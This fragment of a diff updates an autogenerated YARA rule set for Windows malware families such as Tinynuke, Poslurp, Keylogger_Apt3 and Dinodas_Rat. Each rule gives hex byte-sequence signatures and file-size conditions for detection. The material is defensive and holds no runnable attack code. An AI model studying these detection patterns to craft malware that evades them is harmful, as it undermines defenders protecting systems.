+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.loup_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "af5ef67353fca994a67e82aadde11782d5e684720bb76ef0f2df38c565071742"
+		logic_hash = "ff0573e37f479d8813fb50aaed8f812906a0bad4de56fabb213fa961c6890498"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -174013,32 +181066,32 @@ rule MALPEDIA_Win_Jaff_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c746080a000000 c6460c01 ffd7 8b1d???????? 50 ffd3 6a14 }
-		$sequence_1 = { 8bf8 e8???????? 8b4704 48 7818 }
-		$sequence_2 = { 8b4514 8b4d10 6a00 8d55fc 52 50 51 }
-		$sequence_3 = { 72ed 8b45dc 50 6a00 ffd7 50 }
-		$sequence_4 = { ffd3 8945f0 8b450c 8d5de0 8d4df0 e8???????? 8b45e0 }
-		$sequence_5 = { 3b4510 0f82a5feffff 8b4d14 51 6a00 }
-		$sequence_6 = { 8d5598 52 8d45cc 50 e8???????? 8d7da8 }
-		$sequence_7 = { 33c2 2bc2 50 8d95f8fbffff 68???????? }
-		$sequence_8 = { 8d4584 e8???????? 8d7da4 8d75e4 e8???????? 8b55a4 8b3d???????? }
-		$sequence_9 = { c745f00a000000 c645f401 ffd3 50 ff15???????? 8945e8 }
+		$sequence_0 = { 83c404 85c0 741c 0fb745f4 50 e8???????? }
+		$sequence_1 = { 81781422059319 740c 8b4dfc 81791400409901 7522 e8???????? 8b55fc }
+		$sequence_2 = { 8b0d???????? 898dc8fbffff 8b15???????? 8995ccfbffff a1???????? 8985d0fbffff }
+		$sequence_3 = { 8b85d0f1ffff 53 56 ff3485647b4100 50 }
+		$sequence_4 = { 8b7508 57 85d2 744f 33ff 393a }
+		$sequence_5 = { 81f247656e75 b804000000 6bc803 8b440de0 35696e6549 }
+		$sequence_6 = { 8b4df4 84c0 0f84defeffff c745dc01000000 e9???????? 5f 5e }
+		$sequence_7 = { 668945e8 33c0 668945ea c745ee01000000 b804000000 668945ec }
+		$sequence_8 = { b804000000 c1e002 c784055cffffff01000000 8d855cffffff 8945d5 }
+		$sequence_9 = { 85c0 7443 0fb745f4 50 }
 
 	condition:
-		7 of them and filesize <106496
+		7 of them and filesize <257024
 }
-rule MALPEDIA_Win_Grok_Auto : FILE
+rule MALPEDIA_Win_Farseer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "870cf4c1-459b-52f4-a686-b281f5585948"
+		id = "bdb1b674-d96e-50d4-8dbe-83cb253d9330"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grok"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.grok_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.farseer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.farseer_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "f55e3b1924db1bff1757dac784f11d8f8a3020681a2893ba57b274944ef08137"
+		logic_hash = "17f8792326231b41b2e91221ee87a535fdccf3e2e964ba78d0722fea338c91a0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -174052,32 +181105,32 @@ rule MALPEDIA_Win_Grok_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 39702c 7413 56 ff702c ffd3 a1???????? 89702c }
-		$sequence_1 = { 7c62 a1???????? 397044 7412 56 ff7044 ff15???????? }
-		$sequence_2 = { 51 57 50 e8???????? 83c40c 57 53 }
-		$sequence_3 = { 33ff 897dd8 81ff00010000 7d28 8d0c17 8b4514 03c7 }
-		$sequence_4 = { a1???????? 895820 a1???????? 395824 }
-		$sequence_5 = { 894df4 eb09 8b55f4 83c201 8955f4 8b45f8 83c009 }
-		$sequence_6 = { 5f 56 56 6a22 6a01 56 }
-		$sequence_7 = { 50 e8???????? 3bc3 7d7e 395d08 7479 3d430000c0 }
-		$sequence_8 = { 33ff 47 3bc3 8945fc 0f8c9c000000 391d???????? 7410 }
-		$sequence_9 = { 53 51 03c6 50 e8???????? 8b463c 8d8c3080000000 }
+		$sequence_0 = { 8d4c2434 e8???????? eb10 6a06 68???????? 8d4c2438 }
+		$sequence_1 = { 50 8d4c2440 51 8d542478 }
+		$sequence_2 = { e8???????? 8d742414 e8???????? 53 50 83c8ff 8d742438 }
+		$sequence_3 = { 8d442434 50 e8???????? c68424c402000002 8b8424cc000000 bb10000000 399c24e0000000 }
+		$sequence_4 = { 0f8c6cffffff 33ed 8d9424ac010000 68???????? 52 e8???????? 83c408 }
+		$sequence_5 = { 33db 6aff 899c2498000000 53 8d8424a4000000 be0f000000 50 }
+		$sequence_6 = { 7510 8bc1 eb0c 0fb6c9 0fbe8940454200 03c1 40 }
+		$sequence_7 = { 83c404 83bc24e402000010 7210 8b9424d0020000 52 e8???????? 83c404 }
+		$sequence_8 = { 85410c 7405 e8???????? 8d742440 e8???????? 85c0 }
+		$sequence_9 = { e9???????? 8bc3 c1f805 8d048520634200 83e31f 8985e4efffff 8b00 }
 
 	condition:
-		7 of them and filesize <84992
+		7 of them and filesize <347328
 }
-rule MALPEDIA_Win_Miancha_Auto : FILE
+rule MALPEDIA_Win_Dinodas_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5e7fc19e-d4d3-5751-a42a-778cf2bcb637"
+		id = "0c2a0c7f-3a72-55a1-acff-1cca63da0ecc"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miancha"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.miancha_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dinodas_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dinodas_rat_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "1f67b71b2562c78fd331e78fe99dcc1e4206e3c62481b807645f41343dd343bc"
+		logic_hash = "146f67c88b1bd9a83aac7a1be7e8f308bd7d506106d4fba538a0dc2d1ddf0d08"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -174091,32 +181144,32 @@ rule MALPEDIA_Win_Miancha_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7412 8d542418 52 ff15???????? }
-		$sequence_1 = { 6803000080 ff15???????? 85c0 741f 6a00 }
-		$sequence_2 = { 8b15???????? 894808 8a0d???????? 89500c 884810 }
-		$sequence_3 = { 40 50 56 8b35???????? 6a02 6a00 }
-		$sequence_4 = { 85f6 7412 8d542418 52 ff15???????? 50 }
-		$sequence_5 = { ff15???????? 50 ffd6 85c0 741a }
-		$sequence_6 = { 8d542418 52 ff15???????? 50 ffd6 85c0 }
-		$sequence_7 = { 50 68???????? e8???????? 33f6 83c408 }
-		$sequence_8 = { 8910 8b15???????? 894804 8b0d???????? 895008 8a15???????? }
-		$sequence_9 = { 8910 8b15???????? 894804 8b0d???????? 895008 8a15???????? 89480c }
+		$sequence_0 = { 85c9 743b 8b10 8b04b2 8b400c 85c0 7409 }
+		$sequence_1 = { 6a18 c705????????acff4300 c705????????00000000 e8???????? 83c404 85c0 }
+		$sequence_2 = { 50 51 ffd3 83bdb85fffff00 75af 837e2c00 }
+		$sequence_3 = { 833c0e00 755b 8b5dd4 8b4304 80781500 8bd3 7522 }
+		$sequence_4 = { df6df8 df6de0 def9 dc0d???????? dd45d8 d8d9 dfe0 }
+		$sequence_5 = { 83bdd4c3ffff10 7306 8d85c0c3ffff 56 50 57 e8???????? }
+		$sequence_6 = { 8344241408 894c2420 83e908 89542434 8b542430 33db 8bf7 }
+		$sequence_7 = { 8b55d0 8b45cc 8b4dec 2bd0 41 c1fa02 894dec }
+		$sequence_8 = { e8???????? 8b8d6cffffff 8bb568ffffff 2bce b893244992 f7e9 03d1 }
+		$sequence_9 = { 7546 8b15???????? 6aff 52 ffd7 8d5d08 8d45f8 }
 
 	condition:
-		7 of them and filesize <376832
+		7 of them and filesize <638976
 }
-rule MALPEDIA_Win_Grimplant_Auto : FILE
+rule MALPEDIA_Win_Kerrdown_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c3eab5e9-e64a-5697-878f-14199bbf7239"
+		id = "4e6c0456-511b-5ce5-b1ea-436b1b2f6672"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grimplant"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.grimplant_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kerrdown"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kerrdown_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "eec64e00f45245d4dee8d091e0d2ebea0088235a6d441087ed38c039f05955af"
+		logic_hash = "a33ff3dd3ba2b88105d1e9461a66c5947186b615b759549afa7c04ba76dcfedd"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -174129,33 +181182,33 @@ rule MALPEDIA_Win_Grimplant_Auto : FILE
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
-	strings:
-		$sequence_0 = { e9???????? 3c08 7465 eb15 3c0e 0f8ff5000000 90 }
-		$sequence_1 = { ffd2 eb3d 488b4c2428 488b91d0000000 488b442438 ffd2 4885c0 }
-		$sequence_2 = { eb1f 488db8486a0100 488d15ac5c5000 e8???????? 488db8506a0100 e8???????? 440f11b8586a0100 }
-		$sequence_3 = { ffd2 b914000000 4889c7 4889de 31c0 488d1da6514200 e8???????? }
-		$sequence_4 = { ffd1 4883f805 0f85f2100000 0f1005???????? 0f11442478 0f1005???????? 0f11842488000000 }
-		$sequence_5 = { 746c 4c8b4018 49ffc0 4c394020 7d5f 488d05a3ab1d00 0f1f00 }
-		$sequence_6 = { 90 488d05cbd28b00 e8???????? 488b442470 4c8b442440 4c8b4c2458 e9???????? }
-		$sequence_7 = { c6401801 440f113c24 48c744241000000000 488b9c2480000000 4889c1 488bbc24a0000000 488bb424a8000000 }
-		$sequence_8 = { 90 488d0567839000 e8???????? 8b542440 448b8424b0000000 448b4c2444 89d0 }
-		$sequence_9 = { eb0f 4889c7 488d159ceb1300 e8???????? 488d0588670a00 488b5c2448 b906000000 }
-
+	strings:
+		$sequence_0 = { 5d c20800 85f6 75b2 83ff10 8935???????? b8???????? }
+		$sequence_1 = { 8bec 8b0d???????? b8???????? 8b15???????? 57 8b3d???????? 83ff10 }
+		$sequence_2 = { 8aca c0e206 c0e902 80e10f 02c8 8a45eb 243f }
+		$sequence_3 = { b8???????? 0f43d1 b9???????? 2bc2 50 }
+		$sequence_4 = { 0f43c1 3d???????? 773e 83ff10 }
+		$sequence_5 = { 83ff10 ba???????? b8???????? 0f43d1 b9???????? 2bc2 }
+		$sequence_6 = { 80e10f 02c8 8a45eb 243f }
+		$sequence_7 = { ff750c 83ff10 ba???????? b8???????? 0f43d1 b9???????? 2bc2 }
+		$sequence_8 = { e8???????? 46 83fe03 7cec 8b4de0 }
+		$sequence_9 = { 0f854d0d0000 eb00 f30f7e442404 660f2815???????? 660f28c8 }
+
 	condition:
-		7 of them and filesize <19940352
+		7 of them and filesize <278528
 }
-rule MALPEDIA_Win_Montysthree_Auto : FILE
+rule MALPEDIA_Win_Gophe_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5df0d300-da50-5a49-9998-41d773ee6c8b"
+		id = "16e0cb01-a4d6-50a6-a1a9-0b51a47ac5bb"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.montysthree"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.montysthree_auto.yar#L1-L119"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gophe"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.gophe_auto.yar#L1-L156"
 		license_url = "N/A"
-		logic_hash = "00fdc41dcd00cadf758a1f9a8aa235f12bbf1e307fd238ef7d6a32ae7dd0988d"
+		logic_hash = "76443f258bf0b4ec57a2e148e70e44580d537156fff783e9c0d09eeae8abd68d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -174169,32 +181222,38 @@ rule MALPEDIA_Win_Montysthree_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 8bf0 3bf3 89754c }
-		$sequence_1 = { 8bd4 46 62807013e64e 13e6 d1b660d40c3e }
-		$sequence_2 = { 8d4d70 e8???????? ff30 687b020000 57 68???????? e8???????? }
-		$sequence_3 = { ff75f0 ffd6 8bc7 f7d8 }
-		$sequence_4 = { 50 bf00040000 57 ff15???????? 85c0 8d8574f7ffff 7405 }
-		$sequence_5 = { ff7508 53 ff15???????? 53 8d83080a0000 50 }
-		$sequence_6 = { 8d4d28 e8???????? 50 68???????? e8???????? }
-		$sequence_7 = { 8933 39753c 8b457c 8930 753d 39756c }
-		$sequence_8 = { e8???????? 8d8570fdffff 50 8d4dc4 }
-		$sequence_9 = { ff756c ff15???????? 8d4524 50 8d4d4c e8???????? eb25 }
+		$sequence_0 = { 833902 0f94c0 84c0 7407 }
+		$sequence_1 = { b905000000 ff15???????? 8b05???????? 85c0 }
+		$sequence_2 = { 56 8b7510 57 68???????? c70605000000 }
+		$sequence_3 = { b801000000 eb09 83c8ff eb04 }
+		$sequence_4 = { 51 a1???????? 33c5 50 8d45f4 64a300000000 68e0000000 }
+		$sequence_5 = { 5b 8be5 5d c3 b896ffffff }
+		$sequence_6 = { 64a300000000 68e0000000 e8???????? 83c404 }
+		$sequence_7 = { 6805010000 8d85e0fdffff 50 68???????? }
+		$sequence_8 = { 85c9 0f94c0 89431c 85c9 }
+		$sequence_9 = { 7838 488b4c2440 ff15???????? 8bf8 }
+		$sequence_10 = { 2bf0 b8abaaaa2a f7ee c1fa03 8bf2 }
+		$sequence_11 = { 8bf8 488b4c2440 488b01 ff5010 85ff }
+		$sequence_12 = { e8???????? 488d942488000000 488d4c2460 e8???????? }
+		$sequence_13 = { c684249000000000 488b542440 488b4a10 668379300b }
+		$sequence_14 = { 6a00 56 e8???????? 83c40c c706ffffffff }
+		$sequence_15 = { 5d c3 b896ffffff 5f 5e 5b }
 
 	condition:
-		7 of them and filesize <458752
+		7 of them and filesize <1582080
 }
-rule MALPEDIA_Win_Keylogger_Apt3_Auto : FILE
+rule MALPEDIA_Win_Helauto_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0f9f82cd-fdec-56a7-a0cb-1e9762492ad7"
+		id = "8190d0b6-60e2-55b8-bbd3-4f8143a5c37c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.keylogger_apt3"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.keylogger_apt3_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.helauto"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.helauto_auto.yar#L1-L119"
 		license_url = "N/A"
-		logic_hash = "d74e9ef23a0b946252054fc1985382779e2408df3e68ecb0420a27d04cacd609"
+		logic_hash = "4d9d81740e3a201d5c095a9d2008fa9ef0381381c707cf34a732c2ace99e1c38"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -174208,34 +181267,34 @@ rule MALPEDIA_Win_Keylogger_Apt3_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8be8 8d442458 50 55 57 }
-		$sequence_1 = { 3bf3 7523 68???????? ff15???????? 5f }
-		$sequence_2 = { 8b35???????? 8d6b08 55 50 ffd6 }
-		$sequence_3 = { 7453 53 8b5c240c 55 56 8b35???????? 8d6b08 }
-		$sequence_4 = { 89442420 3bf8 7216 5b 5f }
-		$sequence_5 = { ffd6 50 ffd7 ffd3 89442420 83f8ff 7551 }
-		$sequence_6 = { 0fb69695010000 50 0fb68694010000 51 52 50 }
-		$sequence_7 = { 84c0 75f8 2be9 8d5501 52 }
-		$sequence_8 = { e8???????? 68???????? 68???????? 8d4d7c e8???????? 8b45dc }
-		$sequence_9 = { c7442434d8174300 ffd6 8d542404 52 89442434 }
+		$sequence_0 = { 8b45d4 83c40c 898568ffffff 8b45d0 }
+		$sequence_1 = { ff75ec ffd6 6830750000 eb48 }
+		$sequence_2 = { 69c060ea0000 83c430 3d60ea0000 a3???????? }
+		$sequence_3 = { 85c0 0f841f010000 8b3d???????? 6a05 8d85a8f3ffff 68???????? }
+		$sequence_4 = { 59 50 8d8574ffffff 50 53 53 ff75fc }
+		$sequence_5 = { 85c0 7508 53 ff15???????? 59 33c0 }
+		$sequence_6 = { 50 ff15???????? 83c40c 85c0 0f8593000000 50 }
+		$sequence_7 = { 68???????? 50 ff15???????? 83c40c 85c0 0f8593000000 }
+		$sequence_8 = { 8d4608 50 68???????? 53 e8???????? 83c418 83feff }
+		$sequence_9 = { 51 8d4df0 e8???????? 8365fc00 8d4df0 }
 
 	condition:
-		7 of them and filesize <761856
+		7 of them and filesize <57344
 }
-rule MALPEDIA_Win_Tinynuke_Auto : FILE
+rule MALPEDIA_Win_Zeoticus_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d780fd7f-583b-590f-a92f-7ac4fac52f1d"
+		id = "c2a18f25-bc43-5657-ba7f-277a7d143bb2"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinynuke"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tinynuke_auto.yar#L1-L294"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeoticus"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zeoticus_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "f182ca1cbc1a4db59bec12699d68404bb9da6364ccc0407277f19ab284be21eb"
+		logic_hash = "a4d1e69467730f44a44fc31899a04b37f3c67c9d35561598e18a4009fa030896"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -174247,54 +181306,32 @@ rule MALPEDIA_Win_Tinynuke_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c3 55 8bec 817d0c00040000 }
-		$sequence_1 = { 6aff ff7508 6a00 68e9fd0000 ff15???????? 8bc3 5b }
-		$sequence_2 = { 7625 53 8b5d08 57 8b7d10 57 }
-		$sequence_3 = { ff35???????? a3???????? 57 ff15???????? ff35???????? 8b7dfc }
-		$sequence_4 = { 50 56 57 ff35???????? c745f801000000 }
-		$sequence_5 = { 8d8530f6ffff 50 6802020000 ff15???????? 85c0 }
-		$sequence_6 = { 8945f4 8d85d4feffff 50 ff15???????? }
-		$sequence_7 = { 6a03 53 53 6800000080 50 ff15???????? a3???????? }
-		$sequence_8 = { ff75ec ff75fc e8???????? 83c40c 5f }
-		$sequence_9 = { ff15???????? ff35???????? 8d85a4feffff 50 }
-		$sequence_10 = { 8d85a4feffff 50 ff15???????? ff35???????? }
-		$sequence_11 = { ff15???????? a3???????? ff35???????? ff75f8 }
-		$sequence_12 = { a3???????? 68e2010000 68???????? 68???????? e8???????? }
-		$sequence_13 = { e8???????? eb18 83f803 7519 }
-		$sequence_14 = { 59 a3???????? c9 c3 55 }
-		$sequence_15 = { 6a2a 50 8945fc ff15???????? }
-		$sequence_16 = { a3???????? ff35???????? ff75ec ff15???????? }
-		$sequence_17 = { 8a00 3c0a 7409 3c0d }
-		$sequence_18 = { 50 8d85f0fdffff 50 ff15???????? ff75fc 8d85f0fdffff }
-		$sequence_19 = { ff15???????? 8d85d0fcffff 50 e8???????? 59 }
-		$sequence_20 = { ff15???????? 8b35???????? 8d430c 50 }
-		$sequence_21 = { 8b0f 85c9 742a 8d440b02 85c9 }
-		$sequence_22 = { 8b44241c 8bb0a0000000 2b6834 01de 8b16 85d2 }
-		$sequence_23 = { 8bb90000e06e 0f848e000000 83fa20 0f84f0000000 83fa08 0f84b4000000 }
-		$sequence_24 = { 890424 89442418 e8???????? 89c3 }
-		$sequence_25 = { ffd6 57 53 ffd6 5f 5e 8bc3 }
-		$sequence_26 = { 8b06 85c0 75b7 8b7c241c 8b8780000000 }
-		$sequence_27 = { c744240840000000 891c24 89dd 8944240c 8b442418 89442404 e8???????? }
-		$sequence_28 = { 745c 01d8 890424 e8???????? 83ec04 89c6 }
-		$sequence_29 = { a1???????? 83c014 03c7 894df8 8945f4 7417 }
-		$sequence_30 = { 03c7 83f864 0f873f010000 8b45c0 8b7dbc }
-		$sequence_31 = { c744241000000000 c744240c50c30000 c744240850c30000 c744240400000000 e8???????? }
+		$sequence_0 = { b901000000 8b442404 0f44f1 85c0 7407 50 ff15???????? }
+		$sequence_1 = { 6a00 6a02 6a01 6a00 6a00 6a00 6890010000 }
+		$sequence_2 = { 53 68???????? 50 89048d00574300 ff15???????? a1???????? 83c410 }
+		$sequence_3 = { 8b0d???????? 8d442420 6a00 6a00 6a00 6a25 6800800000 }
+		$sequence_4 = { 8d4c2430 6a18 51 ffd0 a1???????? 83c408 85c0 }
+		$sequence_5 = { 42 88440e14 8b4c2424 41 894c2424 83fa0b }
+		$sequence_6 = { 56 57 8b7c2414 894c2418 390f 0f86df010000 }
+		$sequence_7 = { a3???????? c705????????00000000 c705????????00000000 c705????????00000000 e8???????? 8b4c2408 8b542404 }
+		$sequence_8 = { 56 57 894c2410 8b7810 8bf7 90 }
+		$sequence_9 = { 83c408 a3???????? ff742420 ffd0 85c0 754a }
 
 	condition:
-		7 of them and filesize <1196032
+		7 of them and filesize <468992
 }
-rule MALPEDIA_Win_Poslurp_Auto : FILE
+rule MALPEDIA_Win_Sidetwist_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7a8f0443-88b1-5a4f-a35b-b7bc9acf8924"
+		id = "234f5e67-21ea-563f-a765-16d670746925"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poslurp"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.poslurp_auto.yar#L1-L113"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sidetwist"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sidetwist_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "95156f0f62f3b9458f6ba6ac285abaa70aca50d75127c0a8cc32d91b8191c0ea"
+		logic_hash = "5b593ac062a3ee588643c8e2045ef28da674c3f54189c5d0eebe42dcfcc6f71f"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -174308,32 +181345,32 @@ rule MALPEDIA_Win_Poslurp_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0f87fd000000 668378203d 0f85f2000000 498bce }
-		$sequence_1 = { cc 33c9 ff15???????? cc 488bac2440010000 }
-		$sequence_2 = { 488bf5 498bfc f3a4 498bcc e8???????? }
-		$sequence_3 = { ff15???????? 4c8be8 4885c0 0f84c2000000 4863453c }
-		$sequence_4 = { 488d15a9100000 41b93f000f00 4533c0 48c7c102000080 }
-		$sequence_5 = { 418bc1 41ffc0 486bc022 4803c2 48ffc2 }
-		$sequence_6 = { 0f8301010000 418bd6 498bcf 8bfb 412bd7 }
-		$sequence_7 = { 0f84ae000000 80393d 0f85a5000000 418bd6 }
-		$sequence_8 = { 418bc8 ffce 488bd5 2bcd 8bfb }
-		$sequence_9 = { 488bd8 4883f8ff 0f84c8010000 448b05???????? 4889ac24a0020000 4889b424a8020000 4889bc24b0020000 }
+		$sequence_0 = { c644244600 4839d0 0f833a020000 488b4c2450 837c2458ff 0f94c0 4885c9 }
+		$sequence_1 = { e8???????? 807e2000 48898424b0000000 7412 488d8c24b0000000 ba20000000 e8???????? }
+		$sequence_2 = { 4488742457 0fb6442457 4c8db42494000000 4c8d4c2460 4889fa 4c89742440 488d8c2480000000 }
+		$sequence_3 = { 89c8 884520 807d2040 7612 807d205a 770c 0fb64520 }
+		$sequence_4 = { 896e18 4809c3 4889f8 488917 48895f08 4883c458 5b }
+		$sequence_5 = { bfffffffff 41bfffffffff e9???????? c644246c00 8844246e e9???????? 488b03 }
+		$sequence_6 = { 4c29cb 4c39c3 490f47d8 4885db 7411 480310 4883fb01 }
+		$sequence_7 = { 7218 4c8b05???????? 458b08 4585c9 755e 448b41f8 4585c0 }
+		$sequence_8 = { 89c7 440fb603 29df c1e702 4885c0 b800000000 0f44f8 }
+		$sequence_9 = { 6690 4885d2 7521 448b1e 4585db 0f8524020000 8b05???????? }
 
 	condition:
-		7 of them and filesize <50176
+		7 of them and filesize <2002944
 }
-rule MALPEDIA_Win_Halfrig_Auto : FILE
+rule MALPEDIA_Win_Varenyky_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4f3cbac9-fb70-5f5f-a1a6-aa00243a3db8"
+		id = "799963a3-0366-58c7-b923-0a51c9db342a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.halfrig"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.halfrig_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.varenyky"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.varenyky_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "fd3e289580ee05538ff1447ee4a76bbaba1a2cf6f44fe795cbd300f7fc8296a1"
+		logic_hash = "9e07244b9e5d336f26b69f46ff4024108fa6443c2648edcc9fb5aa11d967154b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -174347,32 +181384,32 @@ rule MALPEDIA_Win_Halfrig_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 833d????????ff 752a 488d0dee900400 c705????????679f9b01 c705????????6680ec92 c705????????3f7d27f5 e8???????? }
-		$sequence_1 = { 833d????????ff 7539 488d0d67740400 66c705????????fd01 c705????????6881e28d }
-		$sequence_2 = { e8???????? 488d0d6c950700 e8???????? 40383d???????? 7435 660f1f440000 }
-		$sequence_3 = { 75ad 0fb600 498bcf 8802 488d542420 e8???????? 488d0d58c70600 }
-		$sequence_4 = { 48c1e008 488bd1 49ffc0 4833d0 4983f80f 72db 408835???????? }
-		$sequence_5 = { 8802 488d542420 e8???????? 488d0d4cef0900 e8???????? 40383d???????? }
-		$sequence_6 = { 488d542420 e8???????? 488d0d08830600 e8???????? 40383d???????? 7435 488bd3 }
-		$sequence_7 = { 75ad 0fb600 498bcf 8802 488d542420 e8???????? 488d0df8da0500 }
-		$sequence_8 = { 8802 488d542420 e8???????? 488d0df8930600 e8???????? 40383d???????? }
-		$sequence_9 = { 488d0d88080800 e8???????? 40383d???????? 7435 }
+		$sequence_0 = { 8b3d???????? 8b542418 6a00 52 8d8424c0130000 50 55 }
+		$sequence_1 = { 8d542435 6a00 52 c644243c00 e8???????? }
+		$sequence_2 = { 6880000000 8bd6 52 ff15???????? 6803010000 8d842485020000 }
+		$sequence_3 = { 83c40c 6a40 898424a4010000 898c249c010000 8a0d???????? 899424a0010000 8d442450 }
+		$sequence_4 = { 03f0 0fbe01 3bc3 75f0 }
+		$sequence_5 = { 57 e8???????? 83c404 3c32 }
+		$sequence_6 = { 8d84244d030000 53 50 c744242404010000 889c2454030000 e8???????? }
+		$sequence_7 = { 51 ffd6 68???????? 8d542474 52 ffd7 }
+		$sequence_8 = { 56 57 6803010000 8d44243d 53 50 885c2444 }
+		$sequence_9 = { 41 03e8 0fbe01 3bc3 75f0 0fbe842440020000 }
 
 	condition:
-		7 of them and filesize <1369088
+		7 of them and filesize <24846336
 }
-rule MALPEDIA_Win_Slickshoes_Auto : FILE
+rule MALPEDIA_Win_Cloudwizard_Auto : FILE
 {
 	meta:
